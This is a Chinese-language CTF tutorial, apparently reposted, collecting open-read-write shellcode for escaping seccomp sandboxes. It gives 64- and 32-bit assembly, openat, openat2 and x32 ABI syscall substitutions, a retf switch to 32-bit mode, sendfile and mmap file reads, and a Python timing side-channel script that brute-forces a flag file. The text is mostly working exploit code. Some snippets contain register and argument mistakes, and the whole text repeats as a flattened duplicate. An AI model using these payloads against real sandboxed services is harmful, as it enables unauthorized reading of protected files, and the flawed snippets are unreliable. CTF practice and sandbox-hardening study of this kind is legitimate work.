沙盒逃逸(ORW合集)
字数 1571 2025-08-23 18:31:09

沙盒逃逸(ORW合集)技术详解

1. ORW基础概念

ORW (Open-Read-Write)是沙盒逃逸中的一种常见技术,用于绕过沙箱限制读取或写入文件。基本流程包括:

  1. 打开文件(Open)
  2. 读取文件内容(Read)
  3. 输出读取的内容(Write)

2. 基础ORW实现

2.1 64位基础ORW

push 0x67616c66      ; 将'flag'字符串压栈
mov rdi, rsp         ; 将栈指针(指向'flag')赋给rdi
xor esi, esi         ; 清空esi(open的flags参数)
push 2               ; open的系统调用号
pop rax
syscall              ; 调用open

mov rdi, rax         ; 将文件描述符存入rdi
mov rsi, rsp         ; 缓冲区地址
mov edx, 0x100       ; 读取长度
xor eax, eax         ; read的系统调用号(0)
syscall              ; 调用read

mov edi, 1           ; stdout文件描述符
mov rsi, rsp         ; 缓冲区地址
push 1               ; write的系统调用号
pop rax
syscall              ; 调用write

2.2 32位基础ORW

push 0
push 0x67616c66      ; 'flag'
push esp
pop ebx              ; ebx指向'flag'
xor ecx, ecx         ; 清空ecx(open的flags参数)
push 5               ; open的系统调用号
pop eax
int 0x80             ; 调用open

push eax
pop ebx              ; 文件描述符存入ebx
push esp
pop ecx              ; 缓冲区地址
push 0x50
pop edx              ; 读取长度
push 3               ; read的系统调用号
pop eax
int 0x80             ; 调用read

push 1               ; stdout文件描述符
pop ebx
push esp
pop ecx              ; 缓冲区地址
push 0x50
pop edx              ; 写入长度
push 4               ; write的系统调用号
pop eax
int 0x80             ; 调用write

3. ORW缺O的情况

3.1 只ban了open函数

使用openat函数替代:

  • 系统调用号是257
  • 函数原型:int openat(int dirfd, const char *pathname, int flags)
push 0x67616c66      ; 'flag'
mov rsi, rsp         ; 路径名
xor rdx, rdx         ; flags
mov rdi, 0xffffff9c  ; AT_FDCWD(-100)
push 257             ; openat的系统调用号
pop rax
syscall              ; 调用openat

; 后续read和write操作与基础ORW相同

3.2 ban了open和openat函数

方案1:使用x32 ABI

x32 ABI允许在64位架构下使用32位指针,系统调用号都加上0x40000000:

mov eax, 0x67616c66  ; 'flag'
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 0x40000002  ; x32 open的系统调用号
syscall

mov rdi, rax
mov rax, rsp
add rax, 0x100
mov rsi, rax
mov rdx, 0x40
mov rax, 0x40000000  ; x32 read的系统调用号
syscall

mov edi, 2
mov rax, 0x40000001  ; x32 write的系统调用号
syscall

方案2:切换到32位模式

; 切换到32位模式
xor rsp, rsp
mov esp, 0x602160
mov DWORD PTR [esp+4], 0x23  ; 设置CS寄存器为0x23(32位模式)
mov DWORD PTR [esp], 0x602590 ; 设置新的eip
retfd                         ; 远返回,切换到32位模式

; 32位shellcode
push 0
push 0x67616c66      ; 'flag'
push esp
pop ebx
xor ecx, ecx
push 5               ; open的系统调用号
pop eax
int 0x80

push eax
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 3               ; read的系统调用号
pop eax
int 0x80

push 1
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 4               ; write的系统调用号
pop eax
int 0x80

方案3:使用openat2函数(内核>=5.6)

push rax
xor rdi, rdi
sub rdi, 100         ; AT_FDCWD(-100)
mov rsi, rsp         ; 路径名
push 0
push 0
push 0
mov rdx, rsp         ; open_how结构体
mov r10, 0x18        ; sizeof(open_how)
push 437             ; openat2的系统调用号
pop rax
syscall

; 后续read和write操作

4. ORW缺R的情况

4.1 使用sendfile函数

mov rax, 0x67616c662f  ; '/flag'
push rax
push 257
pop rax
mov rsi, rsp
xor rdi, rdi
xor rdx, rdx
xor r10, r10
syscall                ; 调用open

; 使用sendfile(1, fd, 0, 0x100)
mov r10d, 0x100
mov rsi, rax           ; 文件描述符
push 40                ; sendfile的系统调用号(0x28)
pop rax
push 1
pop rdi                ; stdout
xor rsi, rsi           ; 偏移量
mov rsi, 3             ; 文件描述符
xor rdx, rdx           ; 偏移量
syscall

4.2 使用pread64/readv/preadv/preadv2

4.3 使用mmap映射文件

mov rax, 0x67616c662f2e  ; './flag'
mov rsi, 0
mov rdx, 0
push rax
mov rax, 2               ; open的系统调用号
push rsp
pop rdi
syscall                  ; 调用open

mov rdi, 0               ; 映射地址(0表示由系统选择)
mov rsi, 0x100           ; 映射大小
mov rdx, 7               ; PROT_READ|PROT_WRITE|PROT_EXEC
mov rcx, 2               ; MAP_PRIVATE
mov r10, 2               ; 文件描述符
mov r8, rax              ; 文件描述符
mov r9, 0                ; 偏移量
mov rax, 9               ; mmap的系统调用号
syscall                  ; 调用mmap

push rax
pop rsi                  ; 映射地址
mov rax, 1               ; write的系统调用号
mov rdi, 1               ; stdout
mov rdx, 0x40            ; 写入长度
syscall                  ; 调用write

5. ORW缺W的情况

5.1 测信道爆破

通过逐字节比较flag内容,利用时间差推断flag:

def pwn():
    global s
    flag = ''
    count = 1
    for i in range(len(flag), 0x50):
        left = 32
        right = 127
        while left < right:
            s = process('./ezshell')
            getshellcode()
            mid = (left + right) >> 1
            orw_shellcode = f'''
                mov rdi, 0x67616c662f2e
                push rdi
                mov rdi, rsp
                mov rsi, 0
                mov rdx, 0
                mov rax, 2
                syscall
                mov rdi, 3
                mov rsi, rsp
                mov rdx, 0x100
                mov rax, 0
                syscall
                mov dl, byte ptr [rsp+{i}]
                mov cl, {mid}
                cmp dl, cl
                ja loop
                ret
            loop:
                jmp loop
            '''
            s.sendline(asm(orw_shellcode))
            start_time = time.time()
            try:
                s.recv(timeout=0.2)
                if(time.time() - start_time > 0.1):
                    left = mid + 1
            except:
                right = mid
            s.close()
        flag += chr(left)

5.2 使用pwrite64/writev替代

6. 高级技术:x32 ABI详解

x32 ABI是Linux系统内核接口之一,允许在64位架构下使用32位指针,避免64位指针的额外开销。

6.1 特点

  • 系统调用号 = 原始系统调用号 + 0x40000000
  • 必须使用32位指针
  • 保留至今,主要用于性能敏感场景

6.2 系统调用表示例

#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)

7. 高级技术:32位模式切换

7.1 切换方法

  1. 使用retf指令(远返回)
  2. 需要设置CS寄存器为0x23(32位模式)
  3. 需要32位地址的RWX内存段

7.2 实现步骤

  1. 使用mmap申请32位地址空间
  2. 写入32位shellcode
  3. 设置栈结构并执行retf
; 申请内存
xor rax, rax
mov al, 9               ; mmap的系统调用号
mov rdi, 0x602000       ; 映射地址
mov rsi, 0x1000         ; 映射大小
mov rdx, 7              ; PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x32           ; MAP_PRIVATE|MAP_ANONYMOUS
mov r8, 0xffffffff      ; 文件描述符(-1)
mov r9, 0               ; 偏移量
syscall

; 读取32位shellcode
mov rax, 0              ; read的系统调用号
xor rdi, rdi            ; stdin
mov rsi, 0x602590       ; 目标地址
mov rdx, 100            ; 读取长度
syscall

; 切换到32位模式
xor rsp, rsp
mov esp, 0x602160       ; 32位栈地址
mov DWORD PTR [esp+4], 0x23  ; 设置CS寄存器
mov DWORD PTR [esp], 0x602590 ; 设置eip
retfd                   ; 远返回,切换到32位模式

8. mmap函数详解

mmap用于将文件或对象映射到内存中,参数说明:

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • addr: 映射地址(0表示由系统选择)
  • length: 映射长度(必须是页大小的倍数)
  • prot: 保护标志组合
    • PROT_EXEC(4): 可执行
    • PROT_READ(1): 可读
    • PROT_WRITE(2): 可写
    • PROT_NONE(0): 不可访问
  • flags: 映射类型组合
    • MAP_FIXED(10)
    • MAP_SHARED(1)
    • MAP_PRIVATE(2)
    • MAP_NORESERVE(4000)
    • MAP_LOCKED(2000)
  • fd: 文件描述符
  • offset: 文件偏移量

9. 防御与绕过思路

9.1 常见防御措施

  1. 禁用特定系统调用(open/openat等)
  2. 限制系统调用号范围
  3. 检测架构模式
  4. 限制内存映射权限

9.2 绕过思路

  1. 使用替代系统调用(openat/openat2等)
  2. 使用x32 ABI
  3. 切换到32位模式
  4. 使用测信道技术
  5. 组合使用文件映射和内存操作

10. 实际案例分析

10.1 [TSCTF-J 2022] Easy Shellcode

  • 使用x32 ABI绕过系统调用限制
  • 关键点:系统调用号加0x40000000

10.2 [CrossCTF Quals 2018] Impossible Shellcoding

  • 使用32位模式切换技术
  • 关键点:retf指令和32位内存布局

11. 总结

ORW技术是沙盒逃逸中的核心技能,掌握各种变体和绕过技术对于CTF比赛和实际安全研究都至关重要。关键点包括:

  1. 熟悉基础ORW实现
  2. 掌握替代系统调用的使用
  3. 了解x32 ABI和32位模式切换
  4. 熟练使用测信道等非直接技术
  5. 能够根据防御措施灵活调整攻击方案
沙盒逃逸(ORW合集)技术详解 1. ORW基础概念 ORW (Open-Read-Write)是沙盒逃逸中的一种常见技术,用于绕过沙箱限制读取或写入文件。基本流程包括: 打开文件(Open) 读取文件内容(Read) 输出读取的内容(Write) 2. 基础ORW实现 2.1 64位基础ORW 2.2 32位基础ORW 3. ORW缺O的情况 3.1 只ban了open函数 使用openat函数替代: 系统调用号是257 函数原型: int openat(int dirfd, const char *pathname, int flags) 3.2 ban了open和openat函数 方案1:使用x32 ABI x32 ABI允许在64位架构下使用32位指针,系统调用号都加上0x40000000: 方案2:切换到32位模式 方案3:使用openat2函数(内核>=5.6) 4. ORW缺R的情况 4.1 使用sendfile函数 4.2 使用pread64/readv/preadv/preadv2 4.3 使用mmap映射文件 5. ORW缺W的情况 5.1 测信道爆破 通过逐字节比较flag内容,利用时间差推断flag: 5.2 使用pwrite64/writev替代 6. 高级技术:x32 ABI详解 x32 ABI是Linux系统内核接口之一,允许在64位架构下使用32位指针,避免64位指针的额外开销。 6.1 特点 系统调用号 = 原始系统调用号 + 0x40000000 必须使用32位指针 保留至今,主要用于性能敏感场景 6.2 系统调用表示例 7. 高级技术:32位模式切换 7.1 切换方法 使用 retf 指令(远返回) 需要设置CS寄存器为0x23(32位模式) 需要32位地址的RWX内存段 7.2 实现步骤 使用mmap申请32位地址空间 写入32位shellcode 设置栈结构并执行retf 8. mmap函数详解 mmap用于将文件或对象映射到内存中,参数说明: addr : 映射地址(0表示由系统选择) length : 映射长度(必须是页大小的倍数) prot : 保护标志组合 PROT_ EXEC(4): 可执行 PROT_ READ(1): 可读 PROT_ WRITE(2): 可写 PROT_ NONE(0): 不可访问 flags : 映射类型组合 MAP_ FIXED(10) MAP_ SHARED(1) MAP_ PRIVATE(2) MAP_ NORESERVE(4000) MAP_ LOCKED(2000) fd : 文件描述符 offset : 文件偏移量 9. 防御与绕过思路 9.1 常见防御措施 禁用特定系统调用(open/openat等) 限制系统调用号范围 检测架构模式 限制内存映射权限 9.2 绕过思路 使用替代系统调用(openat/openat2等) 使用x32 ABI 切换到32位模式 使用测信道技术 组合使用文件映射和内存操作 10. 实际案例分析 10.1 [ TSCTF-J 2022 ] Easy Shellcode 使用x32 ABI绕过系统调用限制 关键点:系统调用号加0x40000000 10.2 [ CrossCTF Quals 2018 ] Impossible Shellcoding 使用32位模式切换技术 关键点:retf指令和32位内存布局 11. 总结 ORW技术是沙盒逃逸中的核心技能,掌握各种变体和绕过技术对于CTF比赛和实际安全研究都至关重要。关键点包括: 熟悉基础ORW实现 掌握替代系统调用的使用 了解x32 ABI和32位模式切换 熟练使用测信道等非直接技术 能够根据防御措施灵活调整攻击方案